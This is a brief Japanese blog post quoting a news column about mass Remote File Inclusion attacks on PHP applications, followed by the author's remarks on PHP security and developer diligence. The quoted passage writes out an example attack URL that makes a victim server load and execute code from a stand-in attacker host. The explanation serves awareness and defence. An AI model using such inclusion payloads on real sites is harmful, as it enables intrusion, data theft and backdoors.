PHPに対してRFI攻撃ですって

毎分1.5件で攻撃されているらしい。

確認されているだけでも攻撃が毎分1.5件，PHPアプリ狙う攻撃が大量無差別型に

攻撃者はあらかじめ攻撃用のサーバー「attack.example.net」に悪質なコードを記述したファイル「evil.txt」を配置しておく。そして，以下の様なURLを指定して標的とするサーバー「victim.example.com」にアクセスする。http://victim.example.com/index.php?file=http://attack.example.net/evil.txt
（index.phpに記述されているWebアプリケーションがfileという変数で指定されたファイルを読み込む例）

　この例では，標的サーバー「victim.example.com」でWebアプリケーション「index.php」が呼び出される際に，攻撃用サーバー「attack.example.net」上のファイル「evil.txt」を読み込ませ，evil.txtに記述したコードを実行させる。このevil.txtに記述するコードの内容を変えることで，攻撃者は情報の窃取やWebページの改ざん，バックドアの設置，スパム・メールの送信など様々な攻撃を仕掛ける。

http://itpro.nikkeibp.co.jp/article/COLUMN/20081016/317141/

なるほど〜。SQLインジェクションといい、この件といいPHPで作られたアプリケーションはどうしてこう脆弱性が報告されてしまうのだろうか。

攻撃の内容を見るからに、普通に仕事としてWEBアプリを作っていたらまず遭遇しないような脆弱性だと思うんだけどな〜。

セキュリティとかは納品時になかなか目につかない部分でもあるけど、そういう部分をきっちりやらないと建築でいう耐震偽装問題みたいになると思う。